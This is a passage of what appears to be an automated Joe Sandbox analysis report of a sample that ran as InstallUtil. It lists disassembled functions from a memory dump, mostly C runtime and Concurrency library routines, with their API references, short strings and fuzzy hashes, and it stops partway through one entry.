Instruction ID: cb28ceb96ea86237d13545eb1796880ce21f769f00e6f8f97dceb72caa643079
Opcode Fuzzy Hash: 15ad45b5dd4ce7aa3fa00d92e7d2803bd62353a50f60b283bc495980a22579e1
Instruction Fuzzy Hash: 51416DB5900345AFDB249FB6DC459ABFBF9EF88304B14542EF556D3251DB38A804CB28

Function 0042F6E0 Relevance: 7.6, APIs: 5, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0042F714

Part of subcall function 0042AADF: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 0042AB00

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 0042F773
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0042F799
Concurrency::details::SchedulerBase::ReleaseInternalContext.LIBCONCRT ref: 0042F7B9
Concurrency::location::_Assign.LIBCMT ref: 0042F806

Part of subcall function 00432EDF: Concurrency::details::ContextBase::AddStealer.LIBCONCRT ref: 00432F24

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$Internal$Event$AssignBlockingConcurrency::location::_FindNestingPrepareReleaseSchedulerStealerThrowTraceWork
String ID:
API String ID: 1879022333-0
Opcode ID: aaeb13e6f9620b81de8ff12638bc7b5fb57f8b2ace24fb093c05aea4165ec203
Instruction ID: bf205b2c6bd1df1e0df5e93bbdc28b6b4248a2ac75fb805e1799fc4680112b59
Opcode Fuzzy Hash: aaeb13e6f9620b81de8ff12638bc7b5fb57f8b2ace24fb093c05aea4165ec203
Instruction Fuzzy Hash: 2E415970700224ABCF19AB25E886BAEBB759F44314F80417FE40297382CB389D49C799

Function 00420896 Relevance: 7.6, APIs: 5, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0042089D
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 004208C7

Part of subcall function 00420F8D: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00420FAA

Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 00420944
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00420976
__freea.LIBCMT ref: 0042099C

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__freea
String ID:
API String ID: 2497068736-0
Opcode ID: abda963c20fa881b4f5199d72d834f43782e787e17d5f6fd6c0c32b17bb155f7
Instruction ID: 310bc3648621ae195d009bf0356566d27e0c44047ae4e27e7ebd771b7cdf9d1e
Opcode Fuzzy Hash: abda963c20fa881b4f5199d72d834f43782e787e17d5f6fd6c0c32b17bb155f7
Instruction Fuzzy Hash: C831AEB1B001258BDB14DFA8D5416AEB7F4AF08314FA4406FE406E7342DB789E82CB99

Function 00440B7D Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00440B95

Part of subcall function 0043C935: HeapFree.KERNEL32(00000000,00000000,?,00440C10,?,00000000,?,?,?,00440C37,?,00000007,?,?,00441039,?), ref: 0043C94B
Part of subcall function 0043C935: GetLastError.KERNEL32(?,?,00440C10,?,00000000,?,?,?,00440C37,?,00000007,?,?,00441039,?,?), ref: 0043C95D

_free.LIBCMT ref: 00440BA7
_free.LIBCMT ref: 00440BB9
_free.LIBCMT ref: 00440BCB
_free.LIBCMT ref: 00440BDD

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ca6e26e17c5434ed9ccaa212969f735fd88055d7c534f152f8ab1633c2d2f305
Instruction ID: 8e014590d3c18cb588204188a017ebf677684d8297d2a341cf79c464e2af9aa9
Opcode Fuzzy Hash: ca6e26e17c5434ed9ccaa212969f735fd88055d7c534f152f8ab1633c2d2f305
Instruction Fuzzy Hash: 19F04F72504240BB9A21FB99F5C6D0A73E9EE8A718B55181AF108E7610C778FC908A9C

Function 00402670 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 207COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00402806
___std_exception_destroy.LIBVCRUNTIME ref: 004028A0

Strings

P#@, xrefs: 004027BE, 00402899
P#@, xrefs: 00402811

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: P#@$P#@
API String ID: 2970364248-3974838576
Opcode ID: c4af1b9da913a27729e2c35bcf32b38faa4197cf1c268e63d6d17882c70b2f6a
Instruction ID: de1d88305e7c1d6c0ce41eb981ea60aa4fe187ada9d8be93b1919e7a73c5ef30
Opcode Fuzzy Hash: c4af1b9da913a27729e2c35bcf32b38faa4197cf1c268e63d6d17882c70b2f6a
Instruction Fuzzy Hash: B571A571D002089BDB04DF98C985BDDFBB5EF49314F54822EE805B7381D778A984CBA9

Function 0043F561 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0043F6FB

Strings

*?, xrefs: 0043F5A4

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 04bac45895b66faf26735c9340788e2fc98a8ec93379ae9ea02ee55d546812f4
Instruction ID: 4f1998f2b4cf5b010838f9ca1bde50bc62c5143c5ff579604646c3149c8a4428
Opcode Fuzzy Hash: 04bac45895b66faf26735c9340788e2fc98a8ec93379ae9ea02ee55d546812f4
Instruction Fuzzy Hash: BC616AB5D00219AFCB14CFA9C8815EEFBB5EF4C314F25916AE805E7310D739AE468B94

Function 00444232 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 171timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,004587B8), ref: 0044429C
_free.LIBCMT ref: 0044428A

Part of subcall function 0043C935: HeapFree.KERNEL32(00000000,00000000,?,00440C10,?,00000000,?,?,?,00440C37,?,00000007,?,?,00441039,?), ref: 0043C94B
Part of subcall function 0043C935: GetLastError.KERNEL32(?,?,00440C10,?,00000000,?,?,?,00440C37,?,00000007,?,?,00441039,?,?), ref: 0043C95D

_free.LIBCMT ref: 00444456

Strings

UDD, xrefs: 00444245, 00444360, 0044424B

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapInformationLastTimeZone
String ID: UDD
API String ID: 2155170405-1888631489
Opcode ID: 58b3c53677e366c31611a35487c23841670b7efa0b2c51619012b940c84ac4ba
Instruction ID: c819b398a6d3120d2079e618cfc3aa2e5b2724b38101fa25e6667f6b5ae5406d
Opcode Fuzzy Hash: 58b3c53677e366c31611a35487c23841670b7efa0b2c51619012b940c84ac4ba
Instruction Fuzzy Hash: F251EB71900215EBEB10EF65DC81A6EB7BCAF84754B1002AFE520A7291FB789E418B5D

Function 0043720B Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00437230
CatchIt.LIBVCRUNTIME ref: 00437316

Strings

RCC, xrefs: 0043724A
MOC, xrefs: 00437242

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: c0a082532e0e841901b41b3c3ea516321f9c99fb4d0c6df01562f291cd9eacfd
Instruction ID: 457ec66f39733907445776b59097884bd600543adb11a58e687608a3d9f66d2c
Opcode Fuzzy Hash: c0a082532e0e841901b41b3c3ea516321f9c99fb4d0c6df01562f291cd9eacfd
Instruction Fuzzy Hash: BA4158B1900209AFCF25DFA8CD81AEEBBB5FF4C304F14909AF90466251D339D950DB95

Function 00403A80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

__Mtx_destroy_in_situ.LIBCPMT ref: 00403B53
__Cnd_destroy_in_situ.LIBCPMT ref: 00403B59
__Mtx_destroy_in_situ.LIBCPMT ref: 00403B62

Strings

pB@, xrefs: 00403AAE

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Mtx_destroy_in_situ$Cnd_destroy_in_situ
String ID: pB@
API String ID: 3308344742-522444117
Opcode ID: 97093fb0c1f6a3f4a56b119c017fff0751f395d5259a89b460a119822297b02e
Instruction ID: 496773d1fc74a2abf35795eee27b7eff7f7d2fcbd4d3bacff06fd59880dcd2ad
Opcode Fuzzy Hash: 97093fb0c1f6a3f4a56b119c017fff0751f395d5259a89b460a119822297b02e
Instruction Fuzzy Hash: 5431E371600B008FD7249F29C885B66BBE9EF44725F14466EE956CB391DB3CED00CB94

Function 0041B270 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 58COMMON

Download Yara Rule

Strings

P#@, xrefs: 0040342D
P#@, xrefs: 00403446
l#F, xrefs: 00403437, 0040343D

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID:
String ID: P#@$P#@$l#F
API String ID: 0-2708005951
Opcode ID: b249fa9581ca6a778a5c932868d40c386baa5a6b2255aea4822b0f054333a9a5
Instruction ID: a9816ab4a0a0b0f12f123968d724453bed3af82db5941c7ad32013cac82a727c
Opcode Fuzzy Hash: b249fa9581ca6a778a5c932868d40c386baa5a6b2255aea4822b0f054333a9a5
Instruction Fuzzy Hash: DC01FC7160020877C718BF95D801E9B779C9F05719F10847FF909A7642EFB8B644479D

Function 0042BC9E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 0042BCB2
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 0042BCD6
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0042BCE9

Strings

pScheduler, xrefs: 0042BCE1

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 5bfc216be7fab4c1c9af914b7f3ef0dcaf67963be4c31226418db7bad5d2cfdd
Instruction ID: bb3ed16e3cd35b09d7877d1d6a21b33571bc43e44bb13c318e2ecd99c7ee31e6
Opcode Fuzzy Hash: 5bfc216be7fab4c1c9af914b7f3ef0dcaf67963be4c31226418db7bad5d2cfdd
Instruction Fuzzy Hash: B2F02B35B00A14A38714FA16E842D9EB378DE807147A0441FE80613282DFBCA905C6DD

Function 00403400 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 32COMMON

Download Yara Rule

APIs

Part of subcall function 00402AF0: ___std_exception_copy.LIBVCRUNTIME ref: 00402B23

Part of subcall function 004356B1: RaiseException.KERNEL32(E06D7363,00000001,00000003,004606D0,?,?,?,004606D0), ref: 00435711

___std_exception_copy.LIBVCRUNTIME ref: 0040343E

Strings

P#@, xrefs: 0040342D
P#@, xrefs: 00403446
l#F, xrefs: 00403437, 0040343D

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy$ExceptionRaise
String ID: P#@$P#@$l#F
API String ID: 2103344913-2708005951
Opcode ID: 4888fba3e2f440969e479132621a92fbc72f897f816afc8ecd9d2440c4357f80
Instruction ID: 0c9be2bebb9f3d7e6ec0e42c79dc4cb2cf1bd38ea90c862622da00524e49a9c5
Opcode Fuzzy Hash: 4888fba3e2f440969e479132621a92fbc72f897f816afc8ecd9d2440c4357f80
Instruction Fuzzy Hash: CDF0EC71D1020C77C714FFE5DC01986B79CDE15305B10852BF614A7502F7B4F5484799

Function 00402AF0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 28COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00402B23

Strings

P#@, xrefs: 00402B18
P#@, xrefs: 00402B2E
This function cannot be called on a default constructed task, xrefs: 00402B03

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#@$P#@$This function cannot be called on a default constructed task
API String ID: 2659868963-4211761357
Opcode ID: 45c1f584572064433f5bd7ca9931fac84af69304d0e69996e05ecf399d679eae
Instruction ID: d02bc932aff2c2120372079482644a0eb40eb3f066076868e0ced99cba8d9a73
Opcode Fuzzy Hash: 45c1f584572064433f5bd7ca9931fac84af69304d0e69996e05ecf399d679eae
Instruction Fuzzy Hash: 78F0A0B0D1020CABC714DF69984159EFBF8AF55305F1082AFE85567201FBB42A988BA9

Function 0043E633 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0043E6BA

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: f583e7861204a42957efa4ee86d8db0f97f426846001159bab4ee038fb349ec9
Instruction ID: 5158f027f11e86af89054a441af1af3dc1ec1819bd45f9c663c43a65e34064f7
Opcode Fuzzy Hash: f583e7861204a42957efa4ee86d8db0f97f426846001159bab4ee038fb349ec9
Instruction Fuzzy Hash: 1CB12432D022459FDB15DF2AC8417AFBBA1EF59304F2491ABE8509B3C1D63C9D02CB69

Function 00436BFE Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00436CC5
___AdjustPointer.LIBCMT ref: 00436CE8
___AdjustPointer.LIBCMT ref: 00436D84

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 6abcb8795eef286fccb8133870e037fbbd40774e1dbc78aab33cfca19f2712c1
Instruction ID: a030064d80a6d0898ba28088b56454873d7be9706802471978a66ab05bb08cde
Opcode Fuzzy Hash: 6abcb8795eef286fccb8133870e037fbbd40774e1dbc78aab33cfca19f2712c1
Instruction Fuzzy Hash: 5651F271700603BFDB299F15D941BBA77A4EF08304F26A42FE84687691E739EC51CB98

Function 00408AD0 Relevance: 6.2, APIs: 4, Instructions: 155libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,C4066FA1), ref: 00408B49
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00408BB0
GetProcAddress.KERNEL32(00000000), ref: 00408BB7

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcVersion
String ID:
API String ID: 3310240892-0
Opcode ID: bfc19ca714eb285aa3a7b448e4bd91be55b877037786188660444ee0c337108e
Instruction ID: ceef815bbe9fb57bc3c00d90467b603185146384b8dac2473e140cc9412f2905
Opcode Fuzzy Hash: bfc19ca714eb285aa3a7b448e4bd91be55b877037786188660444ee0c337108e
Instruction Fuzzy Hash: 6051F770D052089BEB14EF64CE497DDBB75EB46314F5042BEE844A72C1EF389AC48B69

Function 004367C5 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00436816
TypeidsEqual.LIBVCRUNTIME ref: 0043683B
PMDtoOffset.LIBCMT ref: 00436851
PMDtoOffset.LIBCMT ref: 004368D2

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction ID: 3692fff0bd3ef0281d50a4c058f96546c28fd3e97dc41bc94154e620b72dfb6e
Opcode Fuzzy Hash: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction Fuzzy Hash: A351A97590420AAFCF14DF68C5806AEBBF0EF1D314F16A48AD840A7350D33AE909CB58

Function 00447B0E Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00447BDE
_free.LIBCMT ref: 00447C07
SetEndOfFile.KERNEL32(00000000,0044354A,00000000,0043C7D2,?,?,?,?,?,?,?,0044354A,0043C7D2,00000000), ref: 00447C39
GetLastError.KERNEL32(?,?,?,?,?,?,?,0044354A,0043C7D2,00000000,?,?,?,?,00000000), ref: 00447C55

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: 3538619a23d89173c13256d14817830fb19d5101ae738e2e0c4616fb7779a962
Instruction ID: 83258e93b8fee30b99913e5ca6329738f0adec6e6bb40cb07aa90ebfd4ce7558
Opcode Fuzzy Hash: 3538619a23d89173c13256d14817830fb19d5101ae738e2e0c4616fb7779a962
Instruction Fuzzy Hash: 7A4124729086409AEB116BB9CC82F8E3775EF49328F14001BF514EB392D77CED428B69

Function 00402E80 Relevance: 6.1, APIs: 4, Instructions: 132threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00402F1F
GetCurrentThreadId.KERNEL32 ref: 00402F3E
__Mtx_unlock.LIBCPMT ref: 00402F8C
__Cnd_broadcast.LIBCPMT ref: 00402FA3

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThread
String ID:
API String ID: 3264154886-0
Opcode ID: a65946aa30ad89094a3de3978c213fbe65454938cdc4dc4188c9385a6bd2aa83
Instruction ID: 67189dcbfd3aa2d01723e0fd74eaf30dc1f2a3236f5ca336146c493c3007fc65
Opcode Fuzzy Hash: a65946aa30ad89094a3de3978c213fbe65454938cdc4dc4188c9385a6bd2aa83
Instruction Fuzzy Hash: CB41BDB0A006069BDB20DF65CA44B9BB7F8BF14358F10453EE815E7781EB78E901DB85

Function 004248AC Relevance: 6.1, APIs: 4, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 004248BF

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: 1b2e1af3c0f81517c71ccb6ca7773de3aa4e464c1810c813394346e766ac4457
Instruction ID: 9f9c0106930151a569b09cee2eeaae937a86a7018e763b3d30c3d487790a2b31
Opcode Fuzzy Hash: 1b2e1af3c0f81517c71ccb6ca7773de3aa4e464c1810c813394346e766ac4457
Instruction Fuzzy Hash: AB3169B5A00315DFCF10DFA4D4C0BAE7BB9EF84314F5000AAD941AB346D738A985CB95

Function 0043F492 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 0043857C: _free.LIBCMT ref: 0043858A

Part of subcall function 00440469: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,00446900,?,00000000,00000000), ref: 0044050B

GetLastError.KERNEL32 ref: 0043F4FA
__dosmaperr.LIBCMT ref: 0043F501
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0043F540
__dosmaperr.LIBCMT ref: 0043F547

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 61e0afba71e128d0bc299b24e71f2dfb76e6fd3951f51fd72af57375b2dc1280
Instruction ID: 97e949492cba64649ba9ecd8e243302df8513f7de0d2e3d7bbd32f0b1850201f
Opcode Fuzzy Hash: 61e0afba71e128d0bc299b24e71f2dfb76e6fd3951f51fd72af57375b2dc1280
Instruction Fuzzy Hash: 7521A772A04205BF9B206F668C80D27776CEF18368F10953EF629D7252D778EC448F99

Function 00432648 Relevance: 6.1, APIs: 4, Instructions: 80threadCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,00000000,?), ref: 00432699
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00432681

Part of subcall function 0042AADF: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 0042AB00

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 004326FC
SwitchToThread.KERNEL32(00000005,00000004,00000000,?,?,?,?,?,?,?,004617E0), ref: 00432701

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Context$Event$Base::Concurrency::details::$Trace$SwitchThreadThrow
String ID:
API String ID: 2734100425-0
Opcode ID: a089fd468b1859406760bfcb1350fd3a1a56262b84d31c64fe5bed826e03e7e9
Instruction ID: 92b48f9b05ba184abbac1fc80f792a9fb054b70d3bd953fbc62566b0ab168de1
Opcode Fuzzy Hash: a089fd468b1859406760bfcb1350fd3a1a56262b84d31c64fe5bed826e03e7e9
Instruction Fuzzy Hash: 9A21F675700224AFC700E769DD4696EB7ECEF48365F54001BFA16E3391DAB4AD018AAD

Function 00432EDF Relevance: 6.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00432F73
Concurrency::details::ContextBase::AddStealer.LIBCONCRT ref: 00432F24

Part of subcall function 00429ECB: SafeRWList.LIBCONCRT ref: 00429EDC

SafeRWList.LIBCONCRT ref: 00432F69
Concurrency::details::ContextBase::AddStealer.LIBCONCRT ref: 00432F89

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::ContextListSafeStealer$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 336577199-0
Opcode ID: f3d563c43027f6748889850a87fca07dcaee3dbcd2c0fb097335be0aaed32b7b
Instruction ID: 6683d6684a48cf3892bd5db069bb081abfd2e760b3471cba42168f8f4d08f0c3
Opcode Fuzzy Hash: f3d563c43027f6748889850a87fca07dcaee3dbcd2c0fb097335be0aaed32b7b
Instruction Fuzzy Hash: 6921D37160020ADFC704DF24D581EA6F7F9BF44718F5492ABE4054B142DB79E886DBD4

Function 00420E9D Relevance: 6.1, APIs: 4, Instructions: 55timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00420EBF

Part of subcall function 0042107B: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00427036

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 00420EE0

Part of subcall function 00421D62: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 00421D7E

Concurrency::details::GetSharedTimerQueue.LIBCONCRT ref: 00420EFC
Concurrency::details::platform::__CreateTimerQueueTimer.LIBCMT ref: 00420F03

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Timer$Scheduler$Base::LibraryLoadQueue$AsyncConcurrency::details::platform::__ContextCreateCurrentDefaultReferenceRegisterShared
String ID:
API String ID: 1684785560-0
Opcode ID: 4fdede27542875623fc2722c760989550abb20129581d59248b2a01363849517
Instruction ID: f71b593c9604925f1fd5856d3c808ff01bb2f75431ab291dcfdeb4bcb6986720
Opcode Fuzzy Hash: 4fdede27542875623fc2722c760989550abb20129581d59248b2a01363849517
Instruction Fuzzy Hash: B2012B71700325ABD7307F65AC8295BFBE8DF20344B90492FF45592192D7B8994087A9

Function 00434F6E Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00434F88
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 00434F9C
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00434FB4
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00434FCC

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 1648cb517ee4d9f12bd924f0c1e3c4a46cb16334d5a01616ad1b2f0925042ba2
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 5F012632700114ABCF11BE5AC801AEFBB999F99364F04101BFC11AB282CA38FD1186A8

Function 0043D2F8 Relevance: 6.0, APIs: 4, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

